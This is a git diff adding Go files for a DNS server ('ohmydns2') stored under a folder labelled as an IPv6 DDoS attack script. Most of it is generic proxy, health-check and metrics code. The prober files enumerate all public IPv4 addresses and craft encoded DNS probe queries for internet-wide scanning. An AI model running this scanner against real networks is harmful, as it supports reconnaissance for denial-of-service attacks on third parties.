+func (pc PBConfig) AddPlugin(m plugin.Pplugin) {
+ pc.Plugin = append(pc.Plugin, m)
+}
+
+// registerHandler adds a prober to a site's prober registration.
+func (pc PBConfig) RegisterProber(p plugin.Prober) {
+ if pc.registry == nil {
+ pc.registry = make(map[string]plugin.Prober)
+ }
+
+ // Just overwrite...
+ pc.registry[p.Name()] = p
+}
+
+// Handler returns the plugin handler that has been added to the config under its name.
+// This is useful to inspect if a certain plugin is active in this server.
+// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
+// comes before the plugin you are checking; it will not be there (yet).
+func (pc PBConfig) Handler(name string) plugin.Prober {
+ if pc.registry == nil {
+ return nil
+ }
+ if h, ok := pc.registry[name]; ok {
+ return h
+ }
+ return nil
+}
+
+// Handlers returns a slice of plugins that have been registered. This can be used to
+// inspect and interact with registered plugins but cannot be used to remove or add plugins.
+// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
+// comes before the plugin you are checking; it will not be there (yet).
+func (pc PBConfig) Handlers() []plugin.Prober {
+ if pc.registry == nil {
+ return nil
+ }
+ hs := make([]plugin.Prober, 0, len(pc.registry))
+ for k := range pc.registry {
+ hs = append(hs, pc.registry[k])
+ }
+ return hs
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober_meta.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober_meta.go
new file mode 100644
index 0000000..162895a
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober_meta.go
@@ -0,0 +1,11 @@
+package prober
+
+import (
+ "context"
+ "ohmydns2/plugin/pkg/request"
+)
+
+// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins
+type ProberMetadataCollector interface {
+ Collect(context.Context, request.HTTPRequest) context.Context
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/proberandgoroutlist.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/proberandgoroutlist.go
new file mode 100644
index 0000000..1e45b41
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/proberandgoroutlist.go
@@ -0,0 +1,96 @@
+package prober
+
+import (
+ "context"
+ "errors"
+ "github.com/panjf2000/ants/v2"
+ "net"
+ olog "ohmydns2/plugin/pkg/log"
+ "strconv"
+ "time"
+)
+
+// 探测器和协程状态列表
+type ProberAndGoroutList struct {
+ Pl map[int]*Prober // 探测器
+ GRPool *ants.Pool
+}
+
+// 获取当前正在运行的探测器数量
+func (pl *ProberAndGoroutList) GetNum() int {
+ return len(pl.Pl)
+}
+
+// 增加一个探测器,并返回对应的pid
+func (pl *ProberAndGoroutList) AddProber(ctx context.Context, targetIP chan net.IP) string {
+ //当前时间戳,作为探测器ID
+ t := time.Now().Unix()
+ //创建一个新的Prober对象
+ p := NewProber(ctx)
+ pctx, cancel := context.WithCancel(ctx)
+ p.stop = cancel
+ p.Pid = int(t)
+ p.removeFromPGList = func() {
+ err := pl.DeleteProberById(p.Pid)
+ if err != nil {
+ return
+ }
+ }
+ pl.Pl[int(t)] = p
+
+ if p.Prange[0] != defaultPrange {
+ olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, defaultPrange, p.Ptype)
+ } else {
+ olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, "自定义", p.Ptype)
+ }
+ // 开始执行任务
+ go p.Start(pctx, targetIP, pl.GRPool)
+
+ return strconv.Itoa(p.Pid)
+}
+
+// 列举所有探测器信息
+func (pl *ProberAndGoroutList) ListAllProber() (int, map[int]Prober, error) {
+ rm := make(map[int]Prober)
+ for k, v := range pl.Pl {
+ rm[k] = *v
+ }
+
+ return pl.GetNum(), rm, nil
+}
+
+// DeleteProberById 根据探测器ID停止探测任务
+func (pl *ProberAndGoroutList) DeleteProberById(pid int) error {
+ err := pl.Pl[pid].Stop()
+ delete(pl.Pl, pid)
+ if err != nil {
+ panic("can't Stop prober " + strconv.Itoa(pid))
+ }
+ return nil
+}
+
+// DeleteAllProber 删除所有的运行的探测器,底层调用了DeleteProberById
+func (pl *ProberAndGoroutList) DeleteAllProber() error {
+ for k, _ := range pl.Pl {
+ err := pl.DeleteProberById(k)
+ if err != nil {
+ return err
+ }
+ }
+ return nil
+}
+
+// DeleteProber 根据探测器对象找到对应探测ID并删除
+func (pl *ProberAndGoroutList) DeleteProber(p *Prober) error {
+ for k, v := range pl.Pl {
+ if v == p {
+ err := pl.DeleteProberById(k)
+ if err != nil {
+ return err
+ }
+ return nil
+ }
+ }
+ olog.Error("未找到该探测器")
+ return errors.New("not found this prober!!")
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/proberutil.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/proberutil.go
new file mode 100644
index 0000000..937c59e
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/proberutil.go
@@ -0,0 +1,78 @@
+package prober
+
+import (
+ "bytes"
+ "encoding/binary"
+ "fmt"
+ "net"
+ "ohmydns2/plugin/pkg/log"
+ "strconv"
+ "strings"
+
+ "github.com/pochard/commons/randstr"
+)
+
+// 数字到IP
+func uint32toIP4(ipInt uint32) string {
+ // need to do two bit shifting and “0xff” masking
+ b0 := strconv.FormatInt(int64((ipInt>>24)&0xff), 10)
+ b1 := strconv.FormatInt(int64((ipInt>>16)&0xff), 10)
+ b2 := strconv.FormatInt(int64((ipInt>>8)&0xff), 10)
+ b3 := strconv.FormatInt(int64((ipInt & 0xff)), 10)
+ return b0 + "." + b1 + "." + b2 + "." + b3
+}
+
+// ip到数字
+func ip2Long(ip string) uint32 {
+ var long uint32
+ err := binary.Read(bytes.NewBuffer(net.ParseIP(ip).To4()), binary.BigEndian, &long)
+ if err != nil {
+ log.Errorf("proberutil/ip2long: %v", err.Error())
+ return 0
+ }
+ return long
+}
+
+// 生成可用于IPv4探测的地址
+func GenGlobIPv4() chan net.IP {
+ c := make(chan net.IP)
+ // 从1.0.0.0开始,到223.255.255.255结束(ICANN已分配地址)
+ go func() {
+ for n := ip2Long("1.0.0.0"); n < ip2Long("223.255.255.255"); n++ {
+ ip := net.ParseIP(uint32toIP4(n))
+ // 地址全球单播且不是私有地址
+ if ip.IsGlobalUnicast() && !ip.IsPrivate() {
+ c <- ip
+ }
+ }
+ close(c)
+ }()
+ return c
+}
+
+// MakeProbe 生成探针的封装
+func (p *Prober) makeProbe(ip net.IP) string {
+ if p.Ptype == defaultPtype {
+ return MakeProbev64(ip)
+ }
+ return ""
+}
+
+// 构造v64需要的探针
+func MakeProbev64(ip net.IP) string {
+ ipstr := ip2Eid(ip)
+ return fmt.Sprintf("c1.rip%v.%v.%v.%v.", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), defaultStartsubv64, defaultTarget)
+}
+
+func MakeTestProbev64(subv64 string, targetzone string) string {
+ ipstr := ip2Eid(net.ParseIP("0.0.0.0"))
+ return fmt.Sprintf("c1.%v.%v.%v.%v", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), subv64, targetzone)
+}
+
+func ip2Eid(ip net.IP) string {
+ i := ip.String()
+ if strings.Contains(i, ":") {
+ return strings.ReplaceAll(i, ":", "-")
+ }
+ return strings.ReplaceAll(i, ".", "-")
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/connect.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/connect.go
new file mode 100644
index 0000000..3fae352
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/connect.go
@@ -0,0 +1,157 @@
+package proxy
+
+import (
+ "context"
+ "io"
+ "net"
+ "ohmydns2/plugin/pkg/request"
+ "strconv"
+ "sync/atomic"
+ "time"
+
+ "github.com/miekg/dns"
+)
+
+// limitTimeout is a utility function to auto-tune timeout values
+// average observed time is moved towards the last observed delay moderated by a weight
+// next timeout to use will be the double of the computed average, limited by min and max frame.
+func limitTimeout(currentAvg *int64, minValue time.Duration, maxValue time.Duration) time.Duration {
+ rt := time.Duration(atomic.LoadInt64(currentAvg))
+ if rt < minValue {
+ return minValue
+ }
+ if rt < maxValue/2 {
+ return 2 * rt
+ }
+ return maxValue
+}
+
+func averageTimeout(currentAvg *int64, observedDuration time.Duration, weight int64) {
+ dt := time.Duration(atomic.LoadInt64(currentAvg))
+ atomic.AddInt64(currentAvg, int64(observedDuration-dt)/weight)
+}
+
+func (t *Transport) dialTimeout() time.Duration {
+ return limitTimeout(&t.avgDialTime, minDialTimeout, maxDialTimeout)
+}
+
+func (t *Transport) updateDialTimeout(newDialTime time.Duration) {
+ averageTimeout(&t.avgDialTime, newDialTime, cumulativeAvgWeight)
+}
+
+// Dial dials the address configured in transport, potentially reusing a connection or creating a new one.
+func (t *Transport) Dial(proto string) (*persistConn, bool, error) {
+ // If tls has been configured; use it.
+ if t.tlsConfig != nil {
+ proto = "tcp-tls"
+ }
+
+ t.dial <- proto
+ pc := <-t.ret
+
+ if pc != nil {
+ ConnCacheHitsCount.WithLabelValues(t.addr, proto).Add(1)
+ return pc, true, nil
+ }
+ ConnCacheMissesCount.WithLabelValues(t.addr, proto).Add(1)
+
+ reqTime := time.Now()
+ timeout := t.dialTimeout()
+ if proto == "tcp-tls" {
+ conn, err := dns.DialTimeoutWithTLS("tcp", t.addr, t.tlsConfig, timeout)
+ t.updateDialTimeout(time.Since(reqTime))
+ return &persistConn{c: conn}, false, err
+ }
+ conn, err := dns.DialTimeout(proto, t.addr, timeout)
+ t.updateDialTimeout(time.Since(reqTime))
+ return &persistConn{c: conn}, false, err
+}
+
+// Connect selects an upstream, sends the request and waits for a response.
+func (p *Proxy) Connect(ctx context.Context, state request.Request, opts Options) (*dns.Msg, error) {
+ start := time.Now()
+
+ proto := ""
+ switch {
+ case opts.ForceTCP: // TCP flag has precedence over UDP flag
+ proto = "tcp"
+ case opts.PreferUDP:
+ proto = "udp"
+ default:
+ proto = state.Proto()
+ }
+
+ pc, cached, err := p.transport.Dial(proto)
+ if err != nil {
+ return nil, err
+ }
+
+ // Set buffer size correctly for this client.
+ pc.c.UDPSize = uint16(state.Size())
+ if pc.c.UDPSize < 512 {
+ pc.c.UDPSize = 512
+ }
+
+ pc.c.SetWriteDeadline(time.Now().Add(maxTimeout))
+ // records the origin Id before upstream.
+ originId := state.Req.Id
+ state.Req.Id = dns.Id()
+ defer func() {
+ state.Req.Id = originId
+ }()
+
+ if err := pc.c.WriteMsg(state.Req); err != nil {
+ pc.c.Close() // not giving it back
+ if err == io.EOF && cached {
+ return nil, ErrCachedClosed
+ }
+ return nil, err
+ }
+
+ var ret *dns.Msg
+ pc.c.SetReadDeadline(time.Now().Add(p.readTimeOut))
+ for {
+ ret, err = pc.c.ReadMsg()
+ if err != nil {
+ // For UDP, if the error is not a network error keep waiting for a valid response to prevent malformed
+ // spoofs from blocking the upstream response.
+ // In the case this is a legitimate malformed response from the upstream, this will result in a timeout.
+ if proto == "udp" {
+ if _, ok := err.(net.Error); !ok {
+ continue
+ }
+ }
+ pc.c.Close() // connection closed by peer, close the persistent connection
+ if err == io.EOF && cached {
+ return nil, ErrCachedClosed
+ }
+
+ // recover the origin Id after upstream.
+ if ret != nil {
+ ret.Id = originId
+ }
+ return ret, err
+ }
+ // drop out-of-order responses
+ if state.Req.Id == ret.Id {
+ break
+ }
+ }
+ // recovery the origin Id after upstream.
+ ret.Id = originId
+
+ p.transport.Yield(pc)
+
+ rc, ok := dns.RcodeToString[ret.Rcode]
+ if !ok {
+ rc = strconv.Itoa(ret.Rcode)
+ }
+
+ RequestCount.WithLabelValues(p.addr).Add(1)
+ RcodeCount.WithLabelValues(rc, p.addr).Add(1)
+ RequestDuration.WithLabelValues(p.addr, rc).Observe(time.Since(start).Seconds())
+
+ return ret, nil
+}
+
+const cumulativeAvgWeight = 4
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/error.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/error.go
new file mode 100644
index 0000000..18618ad
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/error.go
@@ -0,0 +1,24 @@
+package proxy
+
+import "errors"
+
+var (
+ // ErrNoHealthy means no healthy proxies left.
+ ErrNoHealthy = errors.New("no healthy proxies")
+ // ErrNoForward means no forwarder defined.
+ ErrNoForward = errors.New("no forwarder defined")
+ // ErrCachedClosed means cached connection was closed by peer.
+ ErrCachedClosed = errors.New("cached connection was closed by peer")
+)
+
+// Options holds various Options that can be set.
+type Options struct {
+ // ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag
+ ForceTCP bool
+ // PreferUDP use UDP protocol for upstream DNS request.
+ PreferUDP bool
+ // HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests
+ HCRecursionDesired bool
+ // HCDomain sets domain for Proxy healthcheck requests
+ HCDomain string
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/health.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/health.go
new file mode 100644
index 0000000..52bb667
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/health.go
@@ -0,0 +1,130 @@
+package proxy
+
+import (
+ "crypto/tls"
+ "ohmydns2/plugin/pkg/log"
+ "ohmydns2/plugin/pkg/transport"
+ "sync/atomic"
+ "time"
+
+ "github.com/miekg/dns"
+)
+
+// HealthChecker 检查上游是否健康
+type HealthChecker interface {
+ Check(*Proxy) error
+ SetTLSConfig(*tls.Config)
+ GetTLSConfig() *tls.Config
+ SetRecursionDesired(bool)
+ GetRecursionDesired() bool
+ SetDomain(domain string)
+ GetDomain() string
+ SetTCPTransport()
+ GetReadTimeout() time.Duration
+ SetReadTimeout(time.Duration)
+ GetWriteTimeout() time.Duration
+ SetWriteTimeout(time.Duration)
+}
+
+// dnsHc is a health checker for a DNS endpoint (DNS, and DoT).
+type dnsHc struct {
+ c *dns.Client
+ recursionDesired bool
+ domain string
+}
+
+// NewHealthChecker returns a new HealthChecker based on transport.
+func NewHealthChecker(trans string, recursionDesired bool, domain string) HealthChecker {
+ switch trans {
+ case transport.DNS, transport.TLS:
+ c := new(dns.Client)
+ c.Net = "udp"
+ c.ReadTimeout = 1 * time.Second
+ c.WriteTimeout = 1 * time.Second
+
+ return &dnsHc{
+ c: c,
+ recursionDesired: recursionDesired,
+ domain: domain,
+ }
+ }
+
+ log.Warningf("No healthchecker for transport %q", trans)
+ return nil
+}
+
+func (h *dnsHc) SetTLSConfig(cfg *tls.Config) {
+ h.c.Net = "tcp-tls"
+ h.c.TLSConfig = cfg
+}
+
+func (h *dnsHc) GetTLSConfig() *tls.Config {
+ return h.c.TLSConfig
+}
+
+func (h *dnsHc) SetRecursionDesired(recursionDesired bool) {
+ h.recursionDesired = recursionDesired
+}
+func (h *dnsHc) GetRecursionDesired() bool {
+ return h.recursionDesired
+}
+
+func (h *dnsHc) SetDomain(domain string) {
+ h.domain = domain
+}
+func (h *dnsHc) GetDomain() string {
+ return h.domain
+}
+
+func (h *dnsHc) SetTCPTransport() {
+ h.c.Net = "tcp"
+}
+
+func (h *dnsHc) GetReadTimeout() time.Duration {
+ return h.c.ReadTimeout
+}
+
+func (h *dnsHc) SetReadTimeout(t time.Duration) {
+ h.c.ReadTimeout = t
+}
+
+func (h *dnsHc) GetWriteTimeout() time.Duration {
+ return h.c.WriteTimeout
+}
+
+func (h *dnsHc) SetWriteTimeout(t time.Duration) {
+ h.c.WriteTimeout = t
+}
+
+// For HC, we send to . IN NS +[no]rec message to the upstream. Dial timeouts and empty
+// replies are considered fails, basically anything else constitutes a healthy upstream.
+
+// Check is used as the up.Func in the up.Probe.
+func (h *dnsHc) Check(p *Proxy) error {
+ err := h.send(p.addr)
+ if err != nil {
+ HealthcheckFailureCount.WithLabelValues(p.addr).Add(1)
+ p.incrementFails()
+ return err
+ }
+
+ atomic.StoreUint32(&p.fails, 0)
+ return nil
+}
+
+func (h *dnsHc) send(addr string) error {
+ ping := new(dns.Msg)
+ ping.SetQuestion(h.domain, dns.TypeNS)
+ ping.MsgHdr.RecursionDesired = h.recursionDesired
+
+ m, _, err := h.c.Exchange(ping, addr)
+ // If we got a header, we're alright, basically only care about I/O errors 'n stuff.
+ if err != nil && m != nil {
+ // Silly check, something sane came back.
+ if m.Response || m.Opcode == dns.OpcodeQuery {
+ err = nil
+ }
+ }
+
+ return err
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/metric.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/metric.go
new file mode 100644
index 0000000..0a1604c
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/metric.go
@@ -0,0 +1,49 @@
+package proxy
+
+import (
+ "ohmydns2/plugin"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+)
+
+// Variables declared for monitoring.
+var (
+ RequestCount = promauto.NewCounterVec(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: "proxy",
+ Name: "requests_total",
+ Help: "Counter of requests made per upstream.",
+ }, []string{"to"})
+ RcodeCount = promauto.NewCounterVec(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: "proxy",
+ Name: "responses_total",
+ Help: "Counter of responses received per upstream.",
+ }, []string{"rcode", "to"})
+ RequestDuration = promauto.NewHistogramVec(prometheus.HistogramOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: "proxy",
+ Name: "request_duration_seconds",
+ Buckets: plugin.TimeBuckets,
+ Help: "Histogram of the time each request took.",
+ }, []string{"to", "rcode"})
+ HealthcheckFailureCount = promauto.NewCounterVec(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: "proxy",
+ Name: "healthcheck_failures_total",
+ Help: "Counter of the number of failed healthchecks.",
+ }, []string{"to"})
+ ConnCacheHitsCount = promauto.NewCounterVec(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: "proxy",
+ Name: "conn_cache_hits_total",
+ Help: "Counter of connection cache hits per upstream and protocol.",
+ }, []string{"to", "proto"})
+ ConnCacheMissesCount = promauto.NewCounterVec(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: "proxy",
+ Name: "conn_cache_misses_total",
+ Help: "Counter of connection cache misses per upstream and protocol.",
+ }, []string{"to", "proto"})
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/persistent.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/persistent.go
new file mode 100644
index 0000000..bd7193d
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/persistent.go
@@ -0,0 +1,157 @@
+package proxy
+
+import (
+ "crypto/tls"
+ "sort"
+ "time"
+
+ "github.com/miekg/dns"
+)
+
+// a persistConn hold the dns.Conn and the last used time.
+type persistConn struct {
+ c *dns.Conn
+ used time.Time
+}
+
+// Transport hold the persistent cache.
+type Transport struct {
+ avgDialTime int64 // kind of average time of dial time
+ conns [typeTotalCount][]*persistConn // Buckets for udp, tcp and tcp-tls.
+ expire time.Duration // After this duration a connection is expired.
+ addr string
+ tlsConfig *tls.Config
+
+ dial chan string
+ yield chan *persistConn
+ ret chan *persistConn
+ stop chan bool
+}
+
+func newTransport(addr string) *Transport {
+ print(addr)
+ t := &Transport{
+ avgDialTime: int64(maxDialTimeout / 2),
+ conns: [typeTotalCount][]*persistConn{},
+ expire: defaultExpire,
+ addr: addr,
+ dial: make(chan string),
+ yield: make(chan *persistConn),
+ ret: make(chan *persistConn),
+ stop: make(chan bool),
+ }
+ return t
+}
+
+// connManager manages the persistent connection cache for UDP and TCP.
+func (t *Transport) connManager() {
+ ticker := time.NewTicker(defaultExpire)
+ defer ticker.Stop()
+Wait:
+ for {
+ select {
+ case proto := <-t.dial:
+ transtype := stringToTransportType(proto)
+ // take the last used conn - complexity O(1)
+ if stack := t.conns[transtype]; len(stack) > 0 {
+ pc := stack[len(stack)-1]
+ if time.Since(pc.used) < t.expire {
+ // Found one, remove from pool and return this conn.
+ t.conns[transtype] = stack[:len(stack)-1]
+ t.ret <- pc
+ continue Wait
+ }
+ // clear entire cache if the last conn is expired
+ t.conns[transtype] = nil
+ // now, the connections being passed to closeConns() are not reachable from
+ // transport methods anymore. So, it's safe to close them in a separate goroutine
+ go closeConns(stack)
+ }
+ t.ret <- nil
+
+ case pc := <-t.yield:
+ transtype := t.transportTypeFromConn(pc)
+ t.conns[transtype] = append(t.conns[transtype], pc)
+
+ case <-ticker.C:
+ t.cleanup(false)
+
+ case <-t.stop:
+ t.cleanup(true)
+ close(t.ret)
+ return
+ }
+ }
+}
+
+// closeConns closes connections.
+func closeConns(conns []*persistConn) {
+ for _, pc := range conns {
+ pc.c.Close()
+ }
+}
+
+// cleanup removes connections from cache.
+func (t *Transport) cleanup(all bool) {
+ staleTime := time.Now().Add(-t.expire)
+ for transtype, stack := range t.conns {
+ if len(stack) == 0 {
+ continue
+ }
+ if all {
+ t.conns[transtype] = nil
+ // now, the connections being passed to closeConns() are not reachable from
+ // transport methods anymore. So, it's safe to close them in a separate goroutine
+ go closeConns(stack)
+ continue
+ }
+ if stack[0].used.After(staleTime) {
+ continue
+ }
+
+ // connections in stack are sorted by "used"
+ good := sort.Search(len(stack), func(i int) bool {
+ return stack[i].used.After(staleTime)
+ })
+ t.conns[transtype] = stack[good:]
+ // now, the connections being passed to closeConns() are not reachable from
+ // transport methods anymore. So, it's safe to close them in a separate goroutine
+ go closeConns(stack[:good])
+ }
+}
+
+// It is hard to pin a value to this, the import thing is to no block forever, losing at cached connection is not terrible.
+const yieldTimeout = 25 * time.Millisecond
+
+// Yield returns the connection to transport for reuse.
+func (t *Transport) Yield(pc *persistConn) {
+ pc.used = time.Now() // update used time
+
+ // Make this non-blocking, because in the case of a very busy forwarder we will *block* on this yield. This
+ // blocks the outer go-routine and stuff will just pile up. We timeout when the send fails to as returning
+ // these connection is an optimization anyway.
+ select {
+ case t.yield <- pc:
+ return
+ case <-time.After(yieldTimeout):
+ return
+ }
+}
+
+// Start starts the transport's connection manager.
+func (t *Transport) Start() { go t.connManager() }
+
+// Stop stops the transport's connection manager.
+func (t *Transport) Stop() { close(t.stop) }
+
+// SetExpire sets the connection expire time in transport.
+func (t *Transport) SetExpire(expire time.Duration) { t.expire = expire }
+
+// SetTLSConfig sets the TLS config in transport.
+func (t *Transport) SetTLSConfig(cfg *tls.Config) { t.tlsConfig = cfg }
+
+const (
+ defaultExpire = 10 * time.Second
+ minDialTimeout = 1 * time.Second
+ maxDialTimeout = 30 * time.Second
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/proxy.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/proxy.go
new file mode 100644
index 0000000..246e3b2
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/proxy.go
@@ -0,0 +1,107 @@
+package proxy
+
+import (
+ "crypto/tls"
+ "ohmydns2/plugin/pkg/log"
+ "ohmydns2/plugin/pkg/up"
+ "runtime"
+ "sync/atomic"
+ "time"
+)
+
+// Proxy 定义了上游
+type Proxy struct {
+ fails uint32
+ addr string
+ transport *Transport
+ readTimeOut time.Duration
+
+ // 存活检查
+ probe *up.Probe
+ health HealthChecker
+}
+
+//TODO:增加对HTTPS的支持
+
+// NewProxy returns a new proxy.
+func NewProxy(addr, trans string) *Proxy {
+ p := &Proxy{
+ addr: addr,
+ fails: 0,
+ probe: up.New(),
+ readTimeOut: 2 * time.Second,
+ transport: newTransport(addr),
+ }
+ p.health = NewHealthChecker(trans, true, ".")
+ runtime.SetFinalizer(p, (*Proxy).finalizer)
+ return p
+}
+
+func (p *Proxy) Addr() string { return p.addr }
+
+// SetTLSConfig sets the TLS config in the lower p.transport and in the healthchecking client.
+func (p *Proxy) SetTLSConfig(cfg *tls.Config) {
+ p.transport.SetTLSConfig(cfg)
+ p.health.SetTLSConfig(cfg)
+}
+
+// SetExpire sets the expire duration in the lower p.transport.
+func (p *Proxy) SetExpire(expire time.Duration) { p.transport.SetExpire(expire) }
+
+func (p *Proxy) GetHealthchecker() HealthChecker {
+ return p.health
+}
+
+func (p *Proxy) Fails() uint32 {
+ return atomic.LoadUint32(&p.fails)
+}
+
+// Healthcheck kicks of a round of health checks for this proxy.
+func (p *Proxy) Healthcheck() {
+ if p.health == nil {
+ log.Warning("No healthchecker")
+ return
+ }
+
+ p.probe.Do(func() error {
+ return p.health.Check(p)
+ })
+}
+
+// Down returns true if this proxy is down, i.e. has *more* fails than maxfails.
+func (p *Proxy) Down(maxfails uint32) bool {
+ if maxfails == 0 {
+ return false
+ }
+
+ fails := atomic.LoadUint32(&p.fails)
+ return fails > maxfails
+}
+
+// Stop close stops the health checking goroutine.
+func (p *Proxy) Stop() { p.probe.Stop() }
+func (p *Proxy) finalizer() { p.transport.Stop() }
+
+// Start starts the proxy's healthchecking.
+func (p *Proxy) Start(duration time.Duration) {
+ p.probe.Start(duration)
+ p.transport.Start()
+}
+
+func (p *Proxy) SetReadTimeout(duration time.Duration) {
+ p.readTimeOut = duration
+}
+
+// incrementFails increments the number of fails safely.
+func (p *Proxy) incrementFails() {
+ curVal := atomic.LoadUint32(&p.fails)
+ if curVal > curVal+1 {
+ // overflow occurred, do not update the counter again
+ return
+ }
+ atomic.AddUint32(&p.fails, 1)
+}
+
+const (
+ maxTimeout = 2 * time.Second
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/type.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/type.go
new file mode 100644
index 0000000..3f66d93
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/type.go
@@ -0,0 +1,40 @@
+package proxy
+
+import "net"
+
+type transportType int
+
+const (
+ typeUDP transportType = iota
+ typeTCP
+ typeTLS
+ typeHTTPS
+ typeTotalCount // keep this last
+)
+
+func stringToTransportType(s string) transportType {
+ switch s {
+ case "udp":
+ return typeUDP
+ case "tcp":
+ return typeTCP
+ case "tcp-tls":
+ return typeTLS
+ case "tcp-https":
+ return typeHTTPS
+ }
+
+ return typeUDP
+}
+
+func (t *Transport) transportTypeFromConn(pc *persistConn) transportType {
+ if _, ok := pc.c.Conn.(*net.UDPConn); ok {
+ return typeUDP
+ }
+
+ if t.tlsConfig == nil {
+ return typeTCP
+ }
+ // TODO:判断HTTPS和TLS
+ return typeTLS
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rand/rand.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rand/rand.go
new file mode 100644
index 0000000..fe103bb
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rand/rand.go
@@ -0,0 +1,34 @@
+package rand
+
+import (
+ "math/rand"
+ "sync"
+)
+
+// Rand is used for concurrency safe random number generator.
+type Rand struct {
+ m sync.Mutex
+ r *rand.Rand
+}
+
+// New returns a new Rand from seed.
+func New(seed int64) *Rand {
+ return &Rand{r: rand.New(rand.NewSource(seed))}
+}
+
+// Int returns a non-negative pseudo-random int from the Source in Rand.r.
+func (r *Rand) Int() int {
+ r.m.Lock()
+ v := r.r.Int()
+ r.m.Unlock()
+ return v
+}
+
+// Perm returns, as a slice of n ints, a pseudo-random permutation of the
+// integers in the half-open interval [0,n) from the Source in Rand.r.
+func (r *Rand) Perm(n int) []int {
+ r.m.Lock()
+ v := r.r.Perm(n)
+ r.m.Unlock()
+ return v
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rcode/rcode.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rcode/rcode.go
new file mode 100644
index 0000000..d221bcb
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rcode/rcode.go
@@ -0,0 +1,15 @@
+package rcode
+
+import (
+ "strconv"
+
+ "github.com/miekg/dns"
+)
+
+// ToString convert the rcode to the official DNS string, or to "RCODE"+value if the RCODE value is unknown.
+func ToString(rcode int) string {
+ if str, ok := dns.RcodeToString[rcode]; ok {
+ return str
+ }
+ return "RCODE" + strconv.Itoa(rcode)
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/replacer/replacer.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/replacer/replacer.go
new file mode 100644
index 0000000..93b7742
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/replacer/replacer.go
@@ -0,0 +1,275 @@
+package replacer
+
+import (
+ "context"
+ "github.com/miekg/dns"
+ "ohmydns2/plugin/metadata"
+ "ohmydns2/plugin/pkg/dnstest"
+ "ohmydns2/plugin/pkg/request"
+ "strconv"
+ "strings"
+ "sync"
+ "time"
+)
+
+// Replacer replaces labels for values in strings.
+type Replacer struct{}
+
+// New makes a new replacer. This only needs to be called once in the setup and
+// then call Replace for each incoming message. A replacer is safe for concurrent use.
+func New() Replacer {
+ return Replacer{}
+}
+
+// Replace performs a replacement of values on s and returns the string with the replaced values.
+func (r Replacer) Replace(ctx context.Context, state request.Request, rr *dnstest.Recorder, s string) string {
